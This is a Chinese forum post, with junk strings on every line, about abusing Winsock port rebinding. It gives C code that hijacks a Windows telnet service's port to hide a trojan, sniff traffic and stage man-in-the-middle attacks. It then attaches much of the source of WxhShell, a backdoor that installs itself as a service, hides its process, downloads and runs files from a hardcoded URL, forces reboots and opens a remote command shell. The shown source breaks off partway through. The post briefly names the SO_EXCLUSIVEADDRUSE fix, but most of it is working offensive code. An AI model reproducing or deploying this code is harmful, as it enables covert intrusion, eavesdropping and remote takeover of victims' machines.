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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BW:HKH.k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 16ZyLt  
"<"m}rE?Q  
  saddr.sin_family = AF_INET; Z)}UCi+/".  
zM,r0Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e\em;GTy  
.* )e24`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .P <3+  
byFO^pce  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  l*?_@  
Z]e`bfNnI  
  这意味着什么?意味着可以进行如下的攻击: +Bf?35LP  
!:PiQ19 'u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -.Blj<2ah  
_%[po%]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YF)]B|I  
mqj-/DN6*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~Pj q3etk  
(3"N~\9m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %.m+6 zaF  
ZTibF'\5N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D4b-Y[/"  
f14^VTzP/#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RA!q)/ +  
/5<=m:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8t3m$<7  
<.mH-Y5i  
  #include 9Ta0Li  
  #include dU#-;/}o  
  #include n)~*BpL3  
  #include    q)mG6Su d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0k#7LubWZl  
  int main() *a\6X( ~  
  { 9O -2  
  WORD wVersionRequested; lm6hFvEZ  
  DWORD ret; &JXb) W  
  WSADATA wsaData; p- a{6<h  
  BOOL val; ~o>Gm>5!HH  
  SOCKADDR_IN saddr; Zwm/c]6`  
  SOCKADDR_IN scaddr; W#%s0EN<_  
  int err; f1]zsn:  
  SOCKET s; lXg5UrW  
  SOCKET sc; xbBqR _ H_  
  int caddsize; 7o0zny3?  
  HANDLE mt; ei<0,w[V1{  
  DWORD tid;   0$]iRE;O]  
  wVersionRequested = MAKEWORD( 2, 2 ); R{fJ"Q5'  
  err = WSAStartup( wVersionRequested, &wsaData ); jQ,Vs=*H  
  if ( err != 0 ) { c} +*$DeT  
  printf("error!WSAStartup failed!\n"); *5 +GJWKN  
  return -1; 0'Si ^>bW  
  } s-_D,$ |  
  saddr.sin_family = AF_INET; =#/Kg_RKL  
   V ^+p:nP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J*[@M*R;&  
4Wp5[(bg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r=&,2meo  
  saddr.sin_port = htons(23); qXg&E}]:=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'S1u@p,q  
  { ni&|;"Nt-  
  printf("error!socket failed!\n"); #]x3(}3W  
  return -1; HeO:=OE~>  
  }  kDE-GX"Y  
  val = TRUE; kzjuW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ujRXAN@mC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a3>/B$pE  
  { :{#O   
  printf("error!setsockopt failed!\n"); +]s,VSL5`  
  return -1; S~i9~jA  
  } GPGE7X'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0muC4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B ytx.[zbX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t&xoi7!$  
8 ECX[fw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U fyhd  
  { 6,A|9UX=`  
  ret=GetLastError(); F?|Efpzow?  
  printf("error!bind failed!\n"); *m}8L%<HT  
  return -1; X>Vc4n<}  
  } W|7|XO  
  listen(s,2); \c -m\|  
  while(1) `R$i|,9 )  
  { Vw1>d+<~-)  
  caddsize = sizeof(scaddr); V6X )L>!xx  
  //接受连接请求 '< U&8?S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -BH/)$-$  
  if(sc!=INVALID_SOCKET) jZ |M$I3*  
  { B=!!R]dxA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W!wof- 1  
  if(mt==NULL) $G-<kC}8:  
  { KGYbPty}  
  printf("Thread Creat Failed!\n"); ?1D!%jfi  
  break; :Ln)j%&  
  } |gA@WV-%  
  } v-tI`Qpb  
  CloseHandle(mt); {+WBi(=W  
  } w6i2>nu_O  
  closesocket(s); ryVYY> *(K  
  WSACleanup(); oI;ho6y)  
  return 0; V 9Qt;]mQ  
  }   byxlC?q7  
  DWORD WINAPI ClientThread(LPVOID lpParam) [,;e ,ld  
  { q< XFw-Pv  
  SOCKET ss = (SOCKET)lpParam; \ZZ6r^99  
  SOCKET sc; 5c` ;~  
  unsigned char buf[4096]; AH#mL  
  SOCKADDR_IN saddr; %):_  
  long num; cuN9R G  
  DWORD val; Z*m^K%qJ  
  DWORD ret; A?H#bRAs  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hu"$ )V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   509T?\r  
  saddr.sin_family = AF_INET; ]SCHni_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^eh.Iml'@  
  saddr.sin_port = htons(23); 7GOBb|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -G.N  
  { 2g= 6 s  
  printf("error!socket failed!\n"); rGP;0KtQ  
  return -1; G*I    
  } s<zN`&t  
  val = 100; lxyTh'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )8A.Wg4S;c  
  { !:&SfPv  
  ret = GetLastError(); zMv`<m%  
  return -1; CP J21^  
  } ;k!.ey $S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]lwf6'  
  { +MX~1RU+  
  ret = GetLastError(); ^ Kz ?SO  
  return -1; :}e<  
  } |M;Nq@bRv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gw)4P tb!  
  { [P &B  
  printf("error!socket connect failed!\n"); <[k3x8H'  
  closesocket(sc); klUV&O+=%  
  closesocket(ss); ^ 8}P_  
  return -1; K1 "HJsj  
  } Wq A) V,E  
  while(1) K,g6y#1"  
  { k+9F;p7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g>VtPS5 y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q-(~w!e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z\m$>C|  
  num = recv(ss,buf,4096,0); U4"^NLAq  
  if(num>0) |8'}mjs.Q  
  send(sc,buf,num,0); v#?DWeaFS_  
  else if(num==0) ?{ )'O+s  
  break; ;0dH@b  
  num = recv(sc,buf,4096,0); @rYZ0`E9  
  if(num>0) +j 9+~  
  send(ss,buf,num,0); LO_Xr j  
  else if(num==0) uVqc:Q"  
  break; KNeVSZT  
  } h>`[p,o  
  closesocket(ss); H1k)ya x4_  
  closesocket(sc); RnkV)ed(  
  return 0 ; zIF1A*UH  
  } hl:Ba2_E +  
4mDHAR%D  
`j{3|C=  
========================================================== ~EBaVl ({  
2H`r:x<Z-  
下边附上一个代码,,WXhSHELL ec!e  
PB^rniYh  
========================================================== w5i*pOG)Z  
#`_W?-%^  
#include "stdafx.h" K6->{!8]k  
jwk+&S  
#include <stdio.h> 8XH;<z<oJ  
#include <string.h> =8l' [  
#include <windows.h> k M /:n  
#include <winsock2.h> 0kUhz\"R:q  
#include <winsvc.h> &u:U"j  
#include <urlmon.h> spA|[\Nl  
sccLP_#Z  
#pragma comment (lib, "Ws2_32.lib") . V!5Ui<  
#pragma comment (lib, "urlmon.lib") 2?ue.1C  
aG7Lm2{c"  
#define MAX_USER   100 // 最大客户端连接数 OAkqPG&w  
#define BUF_SOCK   200 // sock buffer @wXYza0|d  
#define KEY_BUFF   255 // 输入 buffer ":eyf 3M  
NN7KwVg  
#define REBOOT     0   // 重启 - k0a((?  
#define SHUTDOWN   1   // 关机 ~~{lIO)&  
|KJGM1]G  
#define DEF_PORT   5000 // 监听端口 ()|e xWW  
iYLg[J"  
#define REG_LEN     16   // 注册表键长度 c^_+<C-F  
#define SVC_LEN     80   // NT服务名长度 ;ab[YMkH  
5i6Ji(  
// 从dll定义API ) P7oL.)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \ ERBb.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <\~@l^lU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +IXr4M&3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ls2,+yo]>  
Idu'+O4  
// wxhshell配置信息 eV_ ",W  
struct WSCFG { LiEEQ  
  int ws_port;         // 监听端口 b|87=1^m[  
  char ws_passstr[REG_LEN]; // 口令 9+(b7L   
  int ws_autoins;       // 安装标记, 1=yes 0=no %{ U (y#  
  char ws_regname[REG_LEN]; // 注册表键名 @^0}wk  
  char ws_svcname[REG_LEN]; // 服务名 !v3d:n\W8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |$tF{\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6<z#*`U1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jXx~ 5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /\fR6|tJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]#N8e?b,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~e|E5[-i  
<YCjo[(~  
}; GB+$ed5@<  
7IUJHc?  
// default Wxhshell configuration [?6+ r  
struct WSCFG wscfg={DEF_PORT, ^E, #}cW  
    "xuhuanlingzhe", :tENn r.9v  
    1, N8T.Ye N  
    "Wxhshell", s|WcJV  
    "Wxhshell", QfjoHeG7  
            "WxhShell Service", ]@_|A, ]  
    "Wrsky Windows CmdShell Service", hAgrs[OFj  
    "Please Input Your Password: ", \`8$bpW[nS  
  1, &|IO+'_  
  "http://www.wrsky.com/wxhshell.exe", &OvA[<qT  
  "Wxhshell.exe" W<#Kam:8e  
    }; 9a:(ab'  
C^?/9\  
// 消息定义模块 jz3f{~   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3 JlM{N6+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pl}W|kW}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Cf 202pF3y  
char *msg_ws_ext="\n\rExit."; 0}Kyj"-3  
char *msg_ws_end="\n\rQuit."; Nt tu)wr  
char *msg_ws_boot="\n\rReboot..."; shLMj)7!  
char *msg_ws_poff="\n\rShutdown..."; >d;U>P5.  
char *msg_ws_down="\n\rSave to "; O>*Vo!z\f  
*"jlsI  
char *msg_ws_err="\n\rErr!"; p*jH5h cy  
char *msg_ws_ok="\n\rOK!"; ,*[N_[  
bz1`f>%l  
char ExeFile[MAX_PATH]; 'Q* .[aJt  
int nUser = 0; lNe5{'OrO  
HANDLE handles[MAX_USER]; "Z';nmv'N  
int OsIsNt; f. h3:_r  
$U&p&pgH=W  
SERVICE_STATUS       serviceStatus; .' v$PEy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WM9({BZ  
x[&)\[t  
// 函数声明 MTR+|I3V  
int Install(void); 4Qi-zNNB  
int Uninstall(void); z3^gufOkQ  
int DownloadFile(char *sURL, SOCKET wsh); >of9m  
int Boot(int flag); CTqhXk[  
void HideProc(void); &i805,lx  
int GetOsVer(void); ?J|  
int Wxhshell(SOCKET wsl); ^S|}<6~6b  
void TalkWithClient(void *cs); D=f$-rn  
int CmdShell(SOCKET sock); )eX{a/Be  
int StartFromService(void); B0g?!.#23  
int StartWxhshell(LPSTR lpCmdLine); ocS}4.a@  
RdjoVCf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,7d#t4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7OPRf9+o  
xyV7MW\?w  
// 数据结构和表定义 xNJ*TA[+  
SERVICE_TABLE_ENTRY DispatchTable[] = nh+h3"-d  
{ Ix@nRc'  
{wscfg.ws_svcname, NTServiceMain}, ~1Ffu x  
{NULL, NULL} ZlMS=<hgFx  
}; 6m:$RW  
u3cl7~- yW  
// 自我安装 on7? V<  
int Install(void) l >oJ^J  
{ : t D`e<  
  char svExeFile[MAX_PATH]; ;Rxc(tR!n  
  HKEY key; aMK\&yZD  
  strcpy(svExeFile,ExeFile); z2A,*|I  
9+Wf*:*EW  
// 如果是win9x系统,修改注册表设为自启动 Ln4Dq[M  
if(!OsIsNt) { f(EO|d^u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5o^\jTEl^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M"Y ,kA|+  
  RegCloseKey(key); ^= kr`5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '~{kR=+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2/))Y\~  
  RegCloseKey(key); 4?_^7(%p  
  return 0; R<r,&X?m  
    } Fbw.Y6  
  } M3fTU CR  
} ] < ;y_  
else { d|sf2   
FbCuXS=+`  
// 如果是NT以上系统,安装为系统服务 msq2/sS~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )ItW}1[I  
if (schSCManager!=0) nx!+: P ,  
{ T#}"?A|  
  SC_HANDLE schService = CreateService GG4FS  
  ( Kciz^)'Z  
  schSCManager, IR8qFWDZ  
  wscfg.ws_svcname, 2%-/}'G*  
  wscfg.ws_svcdisp, /RF&@NJE5  
  SERVICE_ALL_ACCESS, F:Yp1Wrb<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k]c$SzJ>/  
  SERVICE_AUTO_START, Gg^gK*D  
  SERVICE_ERROR_NORMAL, pe!"!xJE  
  svExeFile, B?d+^sz]  
  NULL, ; Yt'$D*CP  
  NULL, `@&WELFv{  
  NULL, GCrsf  
  NULL, _]< Tv3]RK  
  NULL 1,n\Osd  
  ); ] `;Fc8$  
  if (schService!=0) AI$\wp#aw  
  { *b`1+~p_2  
  CloseServiceHandle(schService); &<(&u`S  
  CloseServiceHandle(schSCManager); 'qoaMJxN`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <I{Yyl^  
  strcat(svExeFile,wscfg.ws_svcname); 1#XZVp;M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ddlF4L_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j 9f QV  
  RegCloseKey(key); "i%=QON`  
  return 0; HC$}KoZkC  
    } A4)TJY 3g  
  } Z>.('  
  CloseServiceHandle(schSCManager); g T0@pxl  
} b~!Q3o'W  
} @ n$/2y_.  
2t3)$\ylQp  
return 1; AD7&-=p&w  
} 0>3Sn\gZ(  
F ^)( 7}ph  
// 自我卸载 ,/eAns`ZU  
int Uninstall(void) 5[`f(;  
{ VP }To  
  HKEY key; A ? [Wfq|  
MwD8a<2Dg  
if(!OsIsNt) { LKM;T-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >B$B|g~  
  RegDeleteValue(key,wscfg.ws_regname); MVDy|i4  
  RegCloseKey(key); X(;W Y^i!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <@>l9_=R  
  RegDeleteValue(key,wscfg.ws_regname); }4q1"iMlO  
  RegCloseKey(key); N3\vd_D(  
  return 0; T=[ /x=  
  } u y13SkW  
} U ?6.UtNf  
} 'On%p|s)H  
else { K#x|/b'5d  
WS\Ir-B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S3y(' PeF  
if (schSCManager!=0) o}Q3mCB  
{ Hw,@oOh.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l-8rCaq& J  
  if (schService!=0) pE{Ecrc3|  
  { B# o6UO\  
  if(DeleteService(schService)!=0) { -T>i5'2)  
  CloseServiceHandle(schService); +DYsBCVbag  
  CloseServiceHandle(schSCManager); 8)YDUE%VH  
  return 0; E g_ram`\R  
  } iE^=Vf;  
  CloseServiceHandle(schService); eI/5foA  
  } [I( Yn  
  CloseServiceHandle(schSCManager); ;IR.6k$;  
} ,b t j6hg  
} rb]?"lizi  
|}o3EX  
return 1; /PEL[Os  
} 3yLJWHO%W  
U<6+2y P  
// 从指定url下载文件 9[:TWvd  
int DownloadFile(char *sURL, SOCKET wsh) ZDmY${J  
{ wAc;{60s]  
  HRESULT hr; bg^ <e}{<H  
char seps[]= "/"; z6 .^a-sU5  
char *token; m-<m[49  
char *file; 5Rae?* XH  
char myURL[MAX_PATH]; yVyh\u\  
char myFILE[MAX_PATH]; pL ,l  
yKC1h`2  
strcpy(myURL,sURL); 1H8/b D  
  token=strtok(myURL,seps); Q6xA@"GJ  
  while(token!=NULL) f8)fm2^09  
  { M]SeNYDy  
    file=token; f%rZ2h)  
  token=strtok(NULL,seps); wotw nE  
  } sA oxLI  
x !n8Wx  
GetCurrentDirectory(MAX_PATH,myFILE); )Cd.1X8  
strcat(myFILE, "\\"); HmbQL2  
strcat(myFILE, file); $#E!/vVwD7  
  send(wsh,myFILE,strlen(myFILE),0); XmN8S_M>v  
send(wsh,"...",3,0); -[[( Zx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zxeT{AFPr?  
  if(hr==S_OK) -0P9|;h5  
return 0; 5 &0qr$  
else sEi9<$~R@0  
return 1; 4u#TKr.  
;?%_jB$P  
} LX#gc.c  
gmZ] E45  
// 系统电源模块 (QQkXlJ  
int Boot(int flag) P=Su)c  
{ z#2n+hwE  
  HANDLE hToken; 5t-, 5  
  TOKEN_PRIVILEGES tkp; \jx3Fs:Q  
mp z3o\n  
  if(OsIsNt) { ~JO.h$1C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <jBRUa[j_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %Rk DR  
    tkp.PrivilegeCount = 1; :TkMS8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e9>~mtx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `UT UrM  
if(flag==REBOOT) { <(i5hmuVd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w1 eFm:'  
  return 0; n/S+0uT  
} 8#/y`ul  
else { G=|~SYz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BAtjYPX'w  
  return 0; jwP5pu  
} %*#+(A"V  
  } 5GGO:  
  else { UqNUX?(  
if(flag==REBOOT) { lSc=c-iOv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~0@fK<C)O  
  return 0; tHK>w%|\R  
} "F[7b!>R  
else { _<=h#lH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lnRL^ }  
  return 0; -!}3bl*(7  
} h}kJ,n  
} -gUp/ #l1  
%Aqf=R_^  
return 1; $lq.*UQ;0  
} SmIcqM  
4]6-)RHFB  
// win9x进程隐藏模块 +}PN+:yV  
void HideProc(void) Je}0KW3G9L  
{ +wxsAGy_j  
bkS"]q)>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \`E^>6!]q  
  if ( hKernel != NULL ) Ov ^##E  
  { ~H1<8py\J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _W^;a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @w`wJ*I4,  
    FreeLibrary(hKernel); _*MK"  
  } EX#AJ>?V(  
]Y!x7  
return; IdK<:)Q  
} n2EPx(~  
Hq!|r8@6  
// 获取操作系统版本 *ifz@8C }  
int GetOsVer(void) 5{Q9n{dOh  
{ p4 =/rkq  
  OSVERSIONINFO winfo; ,Vw>3|C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hS&l4 \I'Z  
  GetVersionEx(&winfo); ,~DV0#"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZvMU3])u  
  return 1; _54gqD2C,  
  else } !y5hv!_  
  return 0; EC 1|$Co  
} 6|~^P!&  
9\c]I0)3p  
// 客户端句柄模块 AI`k }sA~  
int Wxhshell(SOCKET wsl) 1GqSY|FSGp  
{ Ka_;~LS>(  
  SOCKET wsh; Fk^N7EJ:$  
  struct sockaddr_in client; _{-[1-lN5_  
  DWORD myID; `G_~zt/  
%S'+x[ 4W  
  while(nUser<MAX_USER) 6uT*Fg-G  
{ bwH[rT!n  
  int nSize=sizeof(client); 7eju%d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >7zC-3  
  if(wsh==INVALID_SOCKET) return 1; =/`]lY&  
oeB'{bG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fxc_s/^=t  
if(handles[nUser]==0) O^j*"#f  
  closesocket(wsh); &K{8- t  
else ');vc~C  
  nUser++; ;81,1 Ie<~  
  } q\~ #g.}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U||GeEd  
`;J`O02  
  return 0; >6HGh#0(p  
} ;RRw-|/Wm  
p6R+t]oH  
// 关闭 socket mO;QT  
void CloseIt(SOCKET wsh) I<ohh`.  
{ %^L{K[}  
closesocket(wsh); w.a9}GC  
nUser--; ,(pp+hNq  
ExitThread(0); b5LToy:  
} `Y5LAt:  
-(]C FnD_N  
// 客户端请求句柄 f!`? _  
void TalkWithClient(void *cs) N)G HQlgH  
{ G(TFv\`vH  
b&mA1w[W]  
  SOCKET wsh=(SOCKET)cs; )c{>@WM~  
  char pwd[SVC_LEN]; 3ie k >'T  
  char cmd[KEY_BUFF]; RYjK4xT?Y/  
char chr[1]; }b&lHr'Uw  
int i,j; {MSE}|A\V  
V<J1.8H  
  while (nUser < MAX_USER) { |w}j!}u  
dN)8r  
if(wscfg.ws_passstr) { T7.Iqw3p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @$ Zh^+x!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,>h"~X  
  //ZeroMemory(pwd,KEY_BUFF);  o+'|j#P  
      i=0; 5P%#5Yr2  
  while(i<SVC_LEN) { d#a/J.Z$A  
~x \uZ^:  
  // 设置超时 M|mfkIk0MB  
  fd_set FdRead; ]}XDDPbZ}  
  struct timeval TimeOut; $Gv@lZ@=  
  FD_ZERO(&FdRead); >kK@tJn  
  FD_SET(wsh,&FdRead); /*T^7Y&  
  TimeOut.tv_sec=8; i7XY3yhC  
  TimeOut.tv_usec=0; YWl#!"-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lAP k/G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U?le|tK  
-smN}*3[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Eb4wupo  
  pwd=chr[0]; EXCE^Vw  
  if(chr[0]==0xd || chr[0]==0xa) { y>aO90wJ  
  pwd=0; Rz g;GH  
  break; = IRot  
  } ! 6%?VJB|b  
  i++; LSou]{R  
    } <VKJ+  
J W@6m  
  // 如果是非法用户,关闭 socket Wvf>5g)?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e^>>" tr  
} ['=O>YY  
"Zgwe,#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EGUlLqP6e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7,+eG">0  
x?{UWh%  
while(1) { pqb'L]  
Op ar+|p\  
  ZeroMemory(cmd,KEY_BUFF); k773h`;  
'NhQBk  
      // 自动支持客户端 telnet标准   ly17FLJ].  
  j=0; a+cMXMf  
  while(j<KEY_BUFF) { k i<X^^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C6;2Dd]"N  
  cmd[j]=chr[0]; [g/D<g5O  
  if(chr[0]==0xa || chr[0]==0xd) { >,{s Fc  
  cmd[j]=0; Q^Cm3|ZO  
  break; BqNeY<zB*  
  } E{u6<B*  
  j++; z}!g2d  
    } pD%(Y^h?  
:S0!  
  // 下载文件 5;/n`Bd  
  if(strstr(cmd,"http://")) { CW &z?Bra  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #y:D{%Wp  
  if(DownloadFile(cmd,wsh)) OB(o OPH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x950,`zy  
  else 1RYrUg"s"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8~C_ng-wn  
  } VO|ECB2e  
  else { w+ R/>a( ]  
2F:qaz  
    switch(cmd[0]) { }8ubGMr,Y  
  S\).0goOW  
  // 帮助 1y'Y+1.<  
  case '?': { e Wux  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^~YT<cJ1h  
    break; wsWFD xR  
  } {=ox1+d  
  // 安装 (SBhU:^h  
  case 'i': { oZvG Kf  
    if(Install()) 4`5yrC d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MNd\)nX  
    else ."$t&[;s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - eG~  
    break; %lHHTZ{+  
    } G tI )O}  
  // 卸载 +lx& $mr?  
  case 'r': { 2 |je{  
    if(Uninstall()) A `Z/B[)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LORcf1X/  
    else 5daq}hsQs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] 4dl6T  
    break; q Q\j  
    } ' k,2*.A  
  // 显示 wxhshell 所在路径 p'K`K\X  
  case 'p': { )\akIA  
    char svExeFile[MAX_PATH]; l{k_;i!D  
    strcpy(svExeFile,"\n\r");  arYq$~U  
      strcat(svExeFile,ExeFile); pZnp!!G  
        send(wsh,svExeFile,strlen(svExeFile),0); tqGrhOt  
    break; MUrPr   
    } h@Q^&%w  
  // 重启 8<6H2~5<  
  case 'b': { cV+?j}"*+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L^sjV/\oW  
    if(Boot(REBOOT)) &jP1Q3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cpQ5F;FI  
    else { "hsT^sy  
    closesocket(wsh); F` U~(>u'  
    ExitThread(0); `6U!\D  
